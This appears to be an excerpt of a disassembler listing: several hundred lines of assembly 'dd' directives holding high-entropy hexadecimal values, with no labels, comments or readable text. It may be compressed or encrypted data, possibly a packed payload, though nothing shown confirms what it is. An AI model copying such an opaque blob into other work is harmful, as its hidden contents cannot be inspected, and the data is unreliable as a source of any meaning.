		dd 82FEA0h, 469322BEh, 87A355C4h, 24F20CECh, 0FA367400h
		dd 0E6FCF6AAh, 0E57C2Fh, 0E1EBD06Eh, 245628CFh,	36A3739h
		dd 0B62E3842h, 7FE3B834h, 2182011Bh, 413AE264h,	3172CC58h
		dd 32F0B5h, 2BB6794Bh, 93985D60h, 8A36921Fh, 0C30C0A00h
		dd 30DCE6h, 0FBA2AD55h,	1BC1197h, 59126400h, 0D1F1F692h
		dd 0B5700E51h, 0AAA04B52h, 7DCC8FABh, 0ED1CE290h, 584091B2h
		dd 33EED463h, 48A16F39h, 27A9AE1h, 0B1D8DF82h, 13E66A4Dh
		dd 1F3C38h, 72596DFh, 1EBBCDB0h, 82C4F2E8h, 0E9716B6Dh
		dd 0AF19E40h, 0A45C9800h, 5D39110Eh, 0B41A0067h, 26CA6E73h
		dd 0A3008D50h, 5C7CB091h, 9E3F64h, 466079AAh, 0E877981Ah
		dd 0FDEC061Fh, 80C6EE80h, 1564109h, 57AB6E26h, 0D366E863h
		dd 0A2EDBD80h, 4203CA00h, 0D3346D24h, 0FA9A1FA1h, 0F24F40D2h
		dd 99E31491h, 500527Eh,	0B67CE9Bh, 7F255D5Ch, 68A8A038h
		dd 78D8C015h, 0FC499EC6h, 0F7E41B1Fh, 0BC90D9C3h, 9652E094h
		dd 0CCC90027h, 0C5BB0970h, 1000A9A1h, 4ACBDD1Eh, 229C41h
		dd 6C31F4CFh, 0C297F88Dh, 4E57AD00h, 0D08605FAh, 0EFFF007Dh
		dd 74CAFE10h, 0B5027241h, 44C1025Ah, 0B0FC4031h, 29A500ECh
		dd 0D7FC2F20h, 3500534Eh, 0ED340139h, 0E128D25h, 7809BFD1h
		dd 686696A6h, 80CA5C38h, 0D294EACFh, 0B0D82ED5h, 83FE5CFEh
		dd 1DB36607h, 0C5D70058h, 0D2F818A5h, 0EC002B71h, 0EA6D3336h
		dd 4B97072h, 0F35D490Dh, 0DE3491A9h, 62E8E80Ah,	8F98D100h
		dd 0F2179A5Ch, 0D67629h, 53AB6863h, 2ACFA866h, 38914C07h
		dd 1CF343A6h, 6DC5C8C7h, 98C60718h, 90E67EADh, 0A2267889h
		dd 60F8DE00h, 0C0BF734Fh, 93370090h, 0FBEA10D4h, 300AD51h
		dd 612A66E4h, 4B6016h, 0D6019828h, 8AA83F9Fh, 0EAD9BD00h
		dd 16F0DF69h, 7D510033h, 204AB871h, 8430F1B5h, 15C9297Fh
		dd 0AE410F6Eh, 3CA01EC0h, 9303A92Ah, 0DE06F307h, 84908999h
		dd 549397Bh, 0E63B2ED7h, 3CD2C071h, 4830A76Fh, 0D3F76E05h
		dd 501D003Fh, 0CC969953h, 2301A2EBh, 0FDF6D1FEh, 0DCEC6A0Dh
		dd 48A3001Ch, 0A2C1CB97h, 57073074h, 8417A72Dh,	0B044E103h
		dd 2CC2A960h, 0ECF09Bh,	19155BD2h, 8700BBD5h, 1BD1AFFEh
		dd 7E08894h, 4E2F7E84h,	83EC0079h, 0CA00CD57h, 0DBD9DCA1h
		dd 1D4A63B8h, 8045BD8Ch, 9942A5C7h, 0F2003531h,	0B06FA005h
		dd 0E6F6BAh, 945AC51Eh,	8B8FE887h, 0C7D6A219h, 29D85048h
		dd 2A6502B4h, 880C1B64h, 271E4640h, 0FEEBF506h,	283C16h
		dd 8D547BEFh, 91C87E6Dh, 0F5F08500h, 9B630ABDh,	0CD170084h
		dd 563BEB35h, 0FF00EE96h, 47AC0E2Ah, 0B0221E39h, 3C0F14F4h
		dd 2130D013h, 53D5410h,	94AA3B1Ch, 9D463E05h, 6DC31CC0h
		dd 938E03F1h, 6C2B1CA8h, 0EE01F3E1h, 0BA43C40h,	43844C00h
		dd 6A8590FCh, 25CD0C73h, 75206C82h, 34EF711Eh, 0A3582300h
		dd 0D8D781h, 0C4F50DA4h, 0F4218CAFh, 2A98E00h, 0A152AC8Ah
		dd 0DDB7001Eh, 0CF1678DCh, 0E20F0951h, 0E07D608Ch, 3AA2970Eh
		dd 6C070048h, 0A389B26Eh, 0CC38DA29h, 28220701h, 7FB78DACh
		dd 656B8800h, 77FF018Ch, 0CB2A870Ch, 8363603Dh,	0D2F7F101h
		dd 43AECCE2h, 0D6E130h,	8B165556h, 649194FAh, 880025FCh
		dd 7FCBC085h, 5AF586h, 0A54669E3h, 8CF94853h, 67722401h
		dd 913E37E2h, 0E703D4h,	9BAD9C07h, 5E5AE8B7h, 0BE00EF7Bh
		dd 0CF13AAB0h, 0AB9E3Bh, 3545423Ah, 2AEF61DAh, 7D1ED800h
		dd 0A643F933h, 4AFA73h,	89692410h, 0DFE67CE2h, 0ED5BD51Fh
		dd 1E0CF1CEh, 39207A00h, 0E6D3FC40h, 0D6AF1F24h, 9F92C0F8h
		dd 0C416A07h, 352F0600h, 742D4CF6h, 37EF00CEh, 8C990A4Bh
		dd 3000B72Ah, 62C74740h, 908D56h, 0BD867D2Eh, 0D212FF9Fh
		dd 50289860h, 7705837Fh, 0FE6C0317h, 9C567C31h,	62A65E90h
		dd 2ACBEE00h, 37AF833h,	0B74D0064h, 73F62716h, 0F4177FC8h
		dd 41001881h, 0B31CA77Dh, 0F172CFh, 157682F7h, 517A94B2h
		dd 0C43CBF00h, 5981F6CEh, 0A8044B5Bh, 0AAC30034h, 78AE3127h
		dd 0AF5600EEh, 0FE49F7B7h, 96044138h, 84744C68h, 4590E481h
		dd 58F47DD1h, 0B8AE0067h, 1DD4E916h, 490053E3h,	0F983C9ABh
		dd 289EFBh, 9B21650Ch, 2089D88Fh, 5F3D3800h, 0EBCEE566h
		dd 0F5D8EFD6h, 8C5C1857h, 80F36199h, 78788848h,	0FB1FA40Fh
		dd 0F16C0055h, 0C1746282h, 0F9660418h, 1A2DD08Bh, 31891B33h
		dd 2401EDECh, 0D3A8C218h, 10080FC3h, 5EE0DAA1h,	0D5EA82F9h
		dd 0D785C41Fh, 0A8F8D303h, 0A66DB9CBh, 460330h,	418A28Ch
		dd 0F123B70Dh, 0FB1F21EAh, 0F9830A86h, 48D486Fh, 7DA8FD70h
		dd 2D080B7h, 0E41AA9A2h, 1628A142h, 8D4C4250h, 3D8380Ah
		dd 50EC28CFh, 2F040010h, 0FC810D89h, 0E0F28D1h,	0A0327BBFh
		dd 9DDBC26Ah, 8A8B0097h, 31761984h, 300078ACh, 25C1EA72h
		dd 0D9EEB6h, 0CE8ABCB9h, 43DEC81Fh, 266D9800h, 0B89B6AAFh
		dd 0D267046Eh, 0C00B0531h, 0A27DC8E0h, 532E7C00h, 177216C1h
		dd 0ED7324A3h, 0B24D00BFh, 0DC2DCA80h, 570EE701h, 9CA96497h
		dd 0BF63B080h, 76F64692h, 68312401h, 0B9E67B58h, 48D73B70h
		dd 5091026h, 4780F1ACh,	0FAD23F2Ah, 6E3D9716h, 0FF192600h
		dd 48DB8D7h, 594E082h, 3040C73Ah, 0AE7033A0h, 8C3F3675h
		dd 1FA88059h, 0A29A789Eh, 0D2E4B7h, 0B634456h, 18EAD703h
		dd 0DAC3470Bh, 0F5A380D4h, 5A3095h, 5DBE49BFh, 6857F280h
		dd 0E61F4800h, 0DC926661h, 0AF0100C0h, 88E7FF2Bh, 5F00F8E1h
		dd 7A5EA1F4h, 1D78BD42h, 4024E52Fh, 700ECC84h, 2B03D14Eh
		dd 258F855Ch, 1E51D805h, 77B60F2Ch, 5FE253h, 79A6B989h
		dd 440E7CE6h, 0E7B08060h, 0E0200A75h, 7A84E39h,	3EF5BE30h
		dd 4CBA003Ch, 38000476h, 0A2FA9B60h, 16A7C4CEh,	0A51DDFh
		dd 8D4BEAA2h, 27006FF1h, 76C8D178h, 826C39h, 59CF85DBh
		dd 0B18FFE6Bh, 433DAB00h, 2A2C2599h, 60D0C030h,	226CC569h
		dd 39C7A07Bh, 0C7E73696h, 59B09910h, 9B130004h,	9CEBAB6Fh
		dd 0E15C8BB2h, 54660053h, 0EAEF9497h, 62800D7h,	9BFD5219h
		dd 0DF0001FCh, 29142D62h, 0EE8F18AFh, 49E10066h, 64D5427Bh
		dd 5A00C61Eh, 0DCA1AFDh, 304F598Eh, 9B6899FFh, 0A93A93D4h
		dd 499080C1h, 4AA4DB66h, 5AD500EBh, 0D8A5FD88h,	6D1E6350h
		dd 298101B7h, 384DF4A6h, 95F2E8h, 0E0848F2Ch, 0D258D04h
		dd 247B400h, 53222970h
		dd 60DD07D9h, 70695215h, 0E196984Fh, 0A64C3300h, 0E6017003h
		dd 183FF454h, 183E523Ah, 21009726h, 40DC7953h, 0D788D0h
		dd 81B0B6E1h, 3008EA8Ch, 0F1867100h, 5550A815h,	19FF023Eh
		dd 0FEC57D75h, 0B4C9F280h, 0F600EDE1h, 3C3DAE15h, 5CBB53Eh
		dd 32D04F0Bh, 0C6C00466h, 5449807Ah, 1E0EB383h,	0E06A29B6h
		dd 7958B959h, 0E5FE2885h, 8A4700C0h, 24D378F5h,	0C0018DAh
		dd 0C075EEB7h, 6788F70Ah, 0C0035032h, 16D27BA8h, 4E1CDA0Ah
		dd 831CECF6h, 70220122h, 0D8533FB4h, 0FC0C2038h, 4B48AA03h
		dd 0CD679FEFh, 0ECDDF840h, 0E66F54CCh, 4DF45878h, 0BBD4860Fh
		dd 0FA6E877h, 40EAFCB1h, 63AAF2F9h, 0D89E0010h,	499A1377h
		dd 0FEF67AC2h, 0F2C9A400h, 8B53B9F7h, 63F401A8h, 4D6CC48Fh
		dd 0B582F8A9h, 0FE845900h, 0A1E1588Eh, 7A960C0Bh, 0A4884E50h
		dd 0D2C4A300h, 68CA76C9h, 9BBC0770h, 106F79F0h,	4336113Ch
		dd 99F7AB05h, 0C00F7CD9h, 6D6BC78Bh, 1B0E4E7h, 63E3Fh
		dd 22C51B0h, 0B1D1CACBh, 14823Ch, 7F11C6B4h, 2A07FAC1h
		dd 80F995h, 40AB0B02h, 14DC8C7h, 0A09C4F28h, 0EF1F707h
		dd 0AFB33F51h, 0FC6E0DFDh, 0EC397305h, 9400A0B0h, 4A54D0C2h
		dd 31798CEh, 0EC5B6226h, 7CE8DBC1h, 84771A65h, 0CDC09101h
		dd 9980BBDCh, 22964ECh,	0EF8DD530h, 0AD4062A3h,	6D58F356h
		dd 786600DBh, 9DE92F84h, 0CD1400AEh, 0ED1CF582h, 6F00579Ah
		dd 8D6E3EC0h, 7C3973A4h, 864600EEh, 304713D2h, 9F71A560h
		dd 57281600h, 0F7592722h, 0EF8017Ch, 85049CFAh,	84DCDC10h
		dd 7E557B00h, 1AD652CFh, 814E0098h, 9C41BBAh, 0F50F71D3h
		dd 27EBD951h, 8C8A8D15h, 59707300h, 26B354E4h, 18C6CCh
		dd 7AA92C81h, 0D100A898h, 1EB96461h, 7E3845h, 710852B4h
		dd 0E5922326h, 130AD902h, 40830F97h, 7B3608Ch, 792FAC5Ch
		dd 5E3F10D6h, 41004BB9h, 0E6B8C78Ch, 3AEADE9Dh,	0D9E0FADDh
		dd 0C9C5B529h, 0AED6970Fh, 0B7B900D1h, 916895h,	1A35DC31h
		dd 0CB3F1F13h, 94AFD512h, 0F9C01C1Dh, 0E63D1D04h, 42DF0022h
		dd 1774491Ch, 500329Eh,	0A64D5D8Bh, 1EED5465h, 12AD9CAAh
		dd 5721006Bh, 0E7F781C1h, 6C48h, 186FC32Fh, 30628067h
		dd 0B1284C04h, 9C0809FBh, 76EFE78h, 0A2CE39F2h,	2C409A0Fh
		dd 0F41E2B12h, 80A4C370h, 0E9002A91h, 8328B241h, 0F0ECE3Fh
		dd 4055649Fh, 6AA3C589h, 0EB80086h, 2D9AC93h, 0E500D466h
		dd 77967536h, 15DB20h, 0BB875CCFh, 0BF45BCEEh, 61676200h
		dd 0FC6DD93Fh, 0C72A058Ch, 27C0901Bh, 7659E09Ch, 390EF8A0h
		dd 40837313h, 1D8A3D0h,	92100040h, 7F8A1F07h, 207E6AAh
		dd 0B73EC946h, 0A4B0E8B0h, 726A0EECh, 0D9C01711h, 70C25C01h
		dd 0A1001A7Bh, 45A2048Dh, 0B98AA0h, 0E2ECF5F7h,	76CA953Bh
		dd 781CBD90h, 4681DD75h, 742FC5CEh, 1E4330ECh, 420B397Ah
		dd 78F46885h, 5D400CE0h, 0A3117600h, 9105D3AFh,	0BDE13EBCh
		dd 71331900h, 0D6CB9FECh, 5FA67C00h, 3C917B9Eh,	54506BBh
		dd 6E1E8F39h, 0AF904600h, 55E28C93h, 832707ABh,	91B605ACh
		dd 0D8F9F77Fh, 600022CEh, 49501120h, 6D9DD2h, 0C494CD15h
		dd 51B9E3F9h, 0A72E200h, 97C53D60h, 0A1890036h,	7BBA83C7h
		dd 0E80E5AF2h, 0E066307Dh, 8A579D8Fh, 0A7B2004Bh, 236A0A42h
		dd 0F500EB3Fh, 4E093620h, 7AA0FBh, 7EEFE5F1h, 8C3E690Fh
		dd 5D2F9C12h, 806F5C09h, 5241012Ch, 0FB920F4Ah,	0EF80B8E9h
		dd 0AF4C773h, 67334C00h, 1FA4E118h, 0C877004Ah,	7970B78Fh
		dd 5E005F21h, 2375D32Bh, 0F84752h, 7EE3B9C5h, 0AF936955h
		dd 11D45307h, 96F428C6h, 3E1C80D0h, 1681C095h, 121B74BAh
		dd 47759A03h, 0E398A661h, 0A0100210h, 34195AD1h, 6A188Ah
		dd 0A35DF296h, 0AD74EADCh, 8CF9CB0Fh, 5869E04Bh, 981CC1D0h
		dd 0F0740B89h, 14A183D5h, 3567E2C7h, 0E09BF5F4h, 0A87E4393h
		dd 5ADF4D00h, 81E86584h, 3B7CCFh, 3317DCB7h, 13667C95h
		dd 56E64C0Ch, 0C84173h,	3A21E0BFh, 51A3BD69h, 0FC4EBA00h
		dd 5EF036A7h, 0E5063AF4h, 4052F587h, 3800FF97h,	24FDD80Bh
		dd 44C50F03h, 0D04E26C4h, 40E123h, 0BAFE4ADEh, 8ACB0335h
		dd 0D51C6700h, 0E9B70872h, 2C44007Bh, 520FF4E5h, 2714B34Bh
		dd 0EAEF05Ch, 80FC6F36h, 0CB96F6DBh, 703A011Dh,	7FF187BBh
		dd 0F30899D3h, 0BD600321h, 0FC891F0Eh, 93B94368h, 0F8AF5BEh
		dd 11F62FC0h, 60F7C507h, 107C5C3Bh, 0B63800FBh,	97045234h
		dd 333ACA1Eh, 21FE309Ah, 0B52129h, 0C4BF7FF7h, 0C17307F8h
		dd 6F62FD0Ch, 43179F2h,	0B5A75CBCh, 422380D7h, 40664C8h
		dd 0D60293BAh, 51DB6080h, 0D8337DE4h, 81F05D03h, 6CF8AA3h
		dd 777B5220h, 83F8F80Ah, 18D32E30h, 2A236364h, 0E88840E4h
		dd 764B3062h, 44576D28h, 0E2BF8303h, 804A732Fh,	310AB91h
		dd 5207CC3Eh, 22A83CCEh, 0D53A4234h, 8C9F80D2h,	882BCF08h
		dd 87C8002Eh, 18F24126h, 35F2F98Fh, 4C91D503h, 0F708D980h
		dd 849B90F8h, 3D44F884h, 2217444Dh, 4228CF44h, 42D7C2Ah
		dd 0AC532069h, 17C38187h, 5F6CDE00h, 0EB560054h, 5194C721h
		dd 7F0091B2h, 30E10265h, 0EED11F35h, 285C02A3h,	0E42D564Fh
		dd 39049E0h, 0C7A05207h, 0BC102278h, 86CF1Ch, 9873082Ah
		dd 0CA7E913Dh, 26530E07h, 52C1FB5Eh, 21CC77AAh,	193A0E5Dh
		dd 68A05A66h, 20CF736Fh, 14803B00h, 572D6453h, 0E20C009Bh
		dd 0AB9CE61Ch, 0DF000DE7h, 63062150h, 4490B5h, 78041E33h
		dd 0D54F10E2h, 0D2EFB900h, 0BACE5CBh, 17F800D6h, 8F3D7DA6h
		dd 0EE03C814h, 4055931Ah, 4A59A07Fh, 6F2B00D2h,	8B1CE498h
		dd 5D00FF77h, 0C518F7C8h, 19A6615h, 0F8D14A9Ch,	0D4D00823h
		dd 42011E73h, 2CAA43DEh, 0EC401014h, 5E0C1h, 0FDE7F344h
		dd 7A79F5DAh, 0A3025213h, 90AF3101h, 0AB30B51Ah, 0D587007Eh
		dd 77443789h, 0C63D4F42h, 5BF30103h, 0CC92085h,	73F512E0h
		dd 38F44Ch, 9F172932h, 7343260Eh, 0B409280Ah, 39C4B7h
		dd 56C29783h, 0D4EB66h,	0C8B9E05h, 0C34115A3h, 2300E477h
		dd 90DBB51Dh, 178D554Dh, 0E05F6DAh, 3CE0EC8Fh, 0B5DD254Eh
		dd 0EF94CF00h, 273A0A93h, 357B00FFh, 0B084DFAEh, 25000620h
		dd 1EBBB72Ch, 0BF28B5E3h, 26005BF0h, 58A95E15h,	7833C4DFh
		dd 66460736h, 10919A14h, 17D3B6CDh, 41DB0D00h, 0ACBE0673h
		dd 0EB761FC1h, 0C46140A8h, 2DBFB1F1h, 0F7E83260h, 92BDE6h
		dd 0E7229D63h, 315147F0h, 1984350h, 0F82AD400h,	0AE86A3D3h
		dd 76FE0097h, 1913E633h, 82007DF7h, 314291C0h, 2C37A134h
		dd 0AECB6Eh, 1F4BFD5Dh,	0BC00E995h, 0F8C72C57h,	50AF87h
		dd 0C15C287Bh, 0A9DB1743h, 0DAB25D00h, 7129E7F1h, 3DEA0A6Bh
		dd 80D4C499h, 0FFE261F8h, 87C2D83h, 50DACF00h, 0D30C356Ch
		dd 128B794Ah, 0EDE1F9h,	0CCCE4B1Ch, 34B05B93h, 0CB4A8700h
		dd 2F19EF4Dh, 9F7660h, 75B3D0B6h, 452A580Dh, 93950C00h
		dd 0CF846B52h, 9804906Eh, 9020501Dh, 7C4303AAh,	0C4D92F0Bh
		dd 64F95880h, 5255870Fh, 0EB684156h, 0A560F0A6h, 0AEF324D2h
		dd 0A7A9809Ch, 0D74031E4h, 3D10BD48h, 91250C0Bh, 7672054h
		dd 66D8230Fh, 6E53409Eh, 943CAE93h, 0EA270064h,	76A94BCBh
		dd 9865007Eh, 1E36326Ch, 4AFEEBD3h, 0C9487A7Bh,	0F0E4009Ch
		dd 31FBC61Ah, 45DB003Ch, 49276033h, 15122C8Eh, 0B103E676h
		dd 0B028CE89h, 1048EDh
		dd 3162A788h, 79CF131Fh, 5129F012h, 833B9D1Dh, 0BEDA1E44h
		dd 9C638038h, 2C799020h, 1D2D6246h, 4D3640FBh, 0D23DDC3Fh
		dd 62A5700h, 83FA9BD3h,	0A7A800AFh, 0AB88626Ah,	7598C98Ch
		dd 8EE54200h, 4B1471B4h, 1FE49028h, 94017E46h, 370794ABh
		dd 21E2B01Fh, 0C093ECC0h, 0C1003239h, 95F53C94h, 0EDC380h
		dd 71F7AF1Ch, 35858697h, 0DE733D00h, 8B62FBC4h,	0A2E64Ch
		dd 615698D5h, 96C35452h, 8145D600h, 1FD8DFDBh, 8C123F59h
		dd 9A948580h, 0C9897C9h, 5300FA7Dh, 0D78B2F6Ah,	0F08C44h
		dd 5403E574h, 8AEF6D6Fh, 239BDB26h, 0EA388C20h,	68938790h
		dd 3E3332h, 9161D862h, 49A8002Bh, 0F4D9A2ABh, 8E0046ADh
		dd 51DAED21h, 2A7DBFAh,	84763624h, 34087BAh, 4C1642D9h
		dd 14AA6129h, 0AB123CF3h, 0F58C21DAh, 9580042Dh, 480FD5AFh
		dd 0CC008CE8h, 2E8CF24Eh, 29007D5Ah, 0ED6FB43h,	41DF5h
		dd 5E756B4Bh, 0D9C574ADh, 0E36C8700h, 6D5585BBh, 0F73D26CEh
		dd 8B003FFBh, 6DE27EEh,	0D5078A81h, 345482E6h, 35FF9590h
		dd 6B1001F3h, 4391E9C5h, 44FEC89Dh, 0FD0045FCh,	5CA7CAC0h
		dd 1D2010B4h, 4FA5BD5Dh, 0CBAF6E67h, 25017A80h,	9D03DE7Eh
		dd 0A4C45EA9h, 6A54C05Dh, 1A6F668h, 7A822CC7h, 0E86430D9h
		dd 0C803D06Eh, 4A5C22F3h, 57FD9907h, 3883D9C4h,	3B804DC6h
		dd 5DCBC748h, 0E400D77Ah, 0CFC03CCh, 7642F4E3h,	849E00F6h
		dd 0D92874B3h, 0EF00BA9Ch, 5F270146h, 5BDE45C2h, 4BE983D2h
		dd 373D52E0h, 1A792200h, 0C01E9D21h, 0A10C7A49h, 0E4E05AA0h
		dd 79E7C2Eh, 8835803Ch,	314D2006h, 0DD009B66h, 7296B79Ah
		dd 0FE844928h, 1A370082h, 3FA61578h, 0F803521Dh, 0A5952BBBh
		dd 0DE113C3Ch, 9C30BE00h, 0C3F9D7A0h, 8D905500h, 3D6C21B3h
		dd 93640029h, 8ACB7567h, 6003A79h, 5F31CDF3h, 1FA76068h
		dd 0C0D4EA40h, 44620B78h, 0F0E14706h, 1705B64Fh, 0ABE51A71h
		dd 37BEB418h, 0D7570027h, 4F6663C7h, 6001687h, 93FD24DAh
		dd 2FBEA0h, 0F5642E8Fh,	19937A7h, 6C9E7600h, 3C88D89Dh
		dd 0B6390102h, 0FB24E4CEh, 9FF6F8E1h, 1806AC00h, 49166F82h
		dd 1475004Dh, 1B0830FFh, 7C01FD90h, 0B019217Dh,	1D4559Ch
		dd 0AC365081h, 0F7940233h, 0A21EA8A5h, 0D07D9180h, 1100055Eh
		dd 6075DA84h, 0ECF5E5B7h, 0AC573E77h, 48264100h, 0C67DBD9Dh
		dd 4B133100h, 3B24427Bh, 6CB001F0h, 8BFE5479h, 8C7DE836h
		dd 36D8800h, 0AD632E1h,	0C7FF0046h, 1ED1BE3Dh, 0F90A850Bh
		dd 0A80C7D07h, 44600200h, 7420AFh, 0B69B252Ah, 53CD69F2h
		dd 0C12F4100h, 6EAF58A3h, 0F4022863h, 429900E4h, 15445EABh
		dd 8042C6Ah, 14B46ECDh,	1CB7887h, 37EE666h, 1CD69A30h
		dd 40BED706h, 0FF5422CAh, 0C00A2B8h, 51573A41h,	0FD151Eh
		dd 0E3BB389Fh, 0D31D19F9h, 0CEB8A600h, 0A40CCC31h, 0F64DE816h
		dd 2DAD0075h, 3C578192h, 0AA50842Fh, 0EA00CBACh, 9142F87Ah
		dd 0F8DED86Ah, 1F3200F0h, 0CB6D29BFh, 0D1006B4Ch, 6FFDB9FBh
		dd 185676h, 20BA5BA9h, 3E235D55h, 0A080F40Fh, 3C77E0F8h
		dd 61E4F7h, 2D26FB5Ch, 10FC1289h, 549E4700h, 367D7203h
		dd 613A0005h, 0A2156A3Fh, 5C78B956h, 0F95190C0h, 0E2C52E40h
		dd 57A300F1h, 0E68DE3DAh, 3D0093A9h, 6EFF35F6h,	0B8CDB9A4h
		dd 0A6948BFh, 25459800h, 839B08D8h, 62777D00h, 0F63B9353h
		dd 9E2748EDh, 1BA4863Bh, 7DBC42D0h, 0D929C00Fh,	184648h
		dd 0F2C4C60Dh, 83CC0A7Bh, 7509E924h, 8659C000h,	18DE1E7h
		dd 4D635475h, 6BC576C2h, 7CB32A0h, 0F2580250h, 2A1C50E9h
		dd 0D93DABCCh, 10E8F6Ch, 66A340C8h, 0B274BFh, 0B84EED87h
		dd 2ABA1025h, 5BF77300h, 0FCF981F6h, 0AC860011h, 4B42A51Ch
		dd 0C6003EE6h, 0F3D88E65h, 973B62h, 1A9F99EEh, 4609E8BAh
		dd 8CF81B03h, 0B0E0BB89h, 3A19338Ah, 1D48999Ah,	3954FE07h
		dd 64251185h, 570F8EAh,	17B558h, 99F5E861h, 3B78E76h, 9B6C9C5Bh
		dd 3593BAA8h, 15FC53C0h, 3A047748h, 0D27F173Ch,	13AFC307h
		dd 0B2D429B0h, 0F1570F99h, 33E98973h, 314B6E00h, 0D9007C7Ah
		dd 0E8B36F74h, 82E0E5h,	212FD076h, 78582E42h, 11642700h
		dd 0F036DAC7h, 5CF100D3h, 89F6A818h, 0DC00E7E6h, 68A2C1BFh
		dd 1B7F75Bh, 2C3C5344h,	80087846h, 5DA3E258h, 4AE81h, 0BD2D9725h
		dd 0FDB23D5Ah, 36623300h, 19F24D4Eh, 748503FBh,	181CB796h
		dd 40FD92B1h, 6732DFBAh, 0B5AD3100h, 59C777F0h,	24BF723Fh
		dd 0CC564Ah, 3BE9876Ch,	0B9733C41h, 0D9612300h,	4CA6A1AFh
		dd 0D168022Ah, 44F539C3h, 5BBC1540h, 9123800h, 8A95DD56h
		dd 0E1520083h, 0FC0F6154h, 1B010C2Ch, 0C03CE0F2h, 80C82F9Ch
		dd 0C895004Bh, 0C77CF0F4h, 0B300478Ah, 7AE3C53Ah, 3F5CE485h
		dd 9A3750D8h, 5B238094h, 0A703F83Ah, 6FAAFA9h, 6DBAD096h
		dd 8435002Ch, 479DD291h, 0F0057B17h, 398309C3h,	3B540880h
		dd 0C370E26h, 0A0005834h, 2A62DE8Ch, 8387F600h,	0F15903BCh
		dd 0B8190054h, 0DA1D1E65h, 0A300B3DEh, 73947C3Dh, 1642C6h
		dd 25EBB839h, 98711381h, 0DE23D800h, 0F86C85B4h, 1090377h
		dd 8E03FCACh, 655E7C8h,	3C00CF77h, 0A152E4B5h, 7CBD3843h
		dd 3BC200FDh, 5C89DEC7h, 1D0EDBF9h, 60204DC0h, 0A995A048h
		dd 0FBEF0137h, 0FFA23114h, 73C460FEh, 4166F8E7h, 0D03E2E00h
		dd 220B770Ch, 1381EF3h,	0C9FE80A3h, 5A39093Bh, 76176300h
		dd 13558FE6h, 738A00E9h, 2446BD66h, 82002079h, 4FE0D4BBh
		dd 2E1F1Ah, 0BECF6D18h,	0EA8D7B06h, 74E5958h, 1C2F0BDFh
		dd 0B7496181h, 58F0DCh,	98E8379Fh, 97D32678h, 0E7B2310Bh
		dd 0AEB90123h, 3AF98B7Fh, 20581181h, 20A44819h,	91007BA6h
		dd 7671E0BFh, 1DC5DCh, 65D62D5Ch, 9870EBF6h, 2A74B931h
		dd 0F7D04672h, 0ADED00C5h, 8FCD04FDh, 523F4FDAh, 0C49D2A13h
		dd 120CF842h, 429889B2h, 0D286B000h, 614AA722h,	0A0F80BA9h
		dd 30008AC0h, 0EEE9507Fh, 0CB00C2E8h, 0FCCC1090h, 4A31BBh
		dd 0C92E0D81h, 0E648CE44h, 9F005670h, 0F5D89249h, 9D50E2h
		dd 6CCF537Eh, 31483AB2h, 95AA0807h, 22D013B9h, 7124EACh
		dd 24739D6Fh, 0B3AD70C1h, 3D00BEF1h, 0E687E43h,	36952C2h
		dd 0BD624712h, 4EE1B5A2h, 0A0923028h, 0DD152D00h, 6D68F35Eh
		dd 0C1FF012Fh, 896BB24Bh, 6ECED0D9h, 4F57BD00h,	5D22C80Ch
		dd 1E407BA3h, 0C0CDCA2Ch, 9D6A231Eh, 0DD00092Dh, 0C2C0B222h
		dd 486FE794h, 0E800B888h, 705B5F55h, 0B0A0B8EEh, 95730750h
		dd 8CC23800h, 0E6D810A2h, 909174DFh, 0B4DA0158h, 11F06D2Ah
		dd 8487205Dh, 0E1F9F400h, 4E2F19A2h, 2AA573D4h,	0CC8337h
		dd 359BFCEFh, 5732363h,	0CB162F00h, 6021124Bh, 197AECh
		dd 8B8F9B13h, 4D66FF85h, 7E173700h, 2A4786B1h, 0EF9702C9h
		dd 51DD4AEDh, 52E7EC80h, 892679A2h, 9F07EA91h, 24B0C147h
		dd 90BB41C4h, 0E2700288h, 65721BC7h, 27582C40h,	0FC6E7140h
		dd 9F4300CCh, 0C46A0DBFh, 471D2B3Ah, 0AA80F5EBh, 0AD0940D6h
		dd 2341D6Fh, 3B127DE5h,	75EC00F7h, 9BE1644Dh, 651FF676h
		dd 6602DE2Ah, 81EF8D03h, 0B8F2DBF3h, 27BF0E8h, 9745583Ch
		dd 0B88078F7h, 0BD3F7535h, 0D9160C03h, 0F080B1D0h, 0E789D5Eh
		dd 1590DB84h, 92311120h, 3B48E49Bh, 0B00072B8h,	0C3712334h
		dd 6798EB93h, 7C356055h, 0C5260408h, 0A700602Dh, 0D4E9C279h
		dd 0ED66008Fh, 0D8B38D9Bh, 37002074h, 0E2D2BC02h, 53417Ah
		dd 0A333C84Fh, 0B33F7FDFh, 0BCFCE524h, 6FCF7E03h, 0DA6680BFh
		dd 74960055h, 8E41C63h,	0F0004C51h, 6E7BAE8Bh, 7FBF819Bh
		dd 6F1500ACh, 0D921DFA1h, 48FA6556h, 7834C600h,	8C4C231Ah
		dd 82881E94h, 0A7BC0044h, 1F43B4EBh, 298AD001h,	8636EE9h
		dd 8931B040h, 0AEE13C0Fh, 0A524C080h, 50E6FF81h, 2B2EA00Ch
		dd 50F629BAh, 48F798A1h, 0A500949Eh, 0AEA2FCB5h, 6D008A56h
		dd 0D85A7767h, 50CE064Eh, 97A639h, 8CEEEFF3h, 0BC6D0760h
		dd 241CDB39h, 0EB01182Ch, 40E3AA97h, 0EAEAE02Fh, 0BF455C00h
		dd 3A2701CAh, 0C9CD04FFh, 0D0B73B65h, 0D5714D50h, 93AF1E04h
		dd 70905D9Fh, 59B6B131h, 0C91C04A7h, 0C70B4050h, 146E35B5h
		dd 0DD832E05h, 29C0608Ah, 0C116A82h, 440967Bh, 6B3EE240h
		dd 77620146h, 1AD7437h,	223F1884h, 0C246C033h, 0C300CA5Ah
		dd 0C85E982Dh, 7F56E2Ah, 0DF20E803h, 4C4BD050h,	2576E307h
		dd 10FAFEAh, 29D097C1h,	64A00053h, 0A0EF47FFh, 9B88A1h
		dd 0D8B0E244h, 15B3A3Fh, 0F39EE11Fh, 75B1F680h,	7A354E60h
		dd 0EAA500C8h, 61EEC7B5h, 69005D58h, 0D406370Dh, 3E2313FAh
		dd 3E9D92E5h, 0B4488090h, 245D943Ah, 13980650h,	34360200h
		dd 0A9237982h, 55090057h, 0C927E19Bh, 0B700B14Ah, 3D42F7F2h
		dd 98664DEh, 1669B6BDh,	0AB8C90A0h, 0B1004894h,	0E7E31119h
		dd 982D98E4h, 5021E48Ch, 24DDC84Fh, 9C43A5h, 0F8F75FA9h
		dd 5100F662h, 766778Ah,	0F29F65C7h, 4E9C00BCh, 0F4A6970Ah
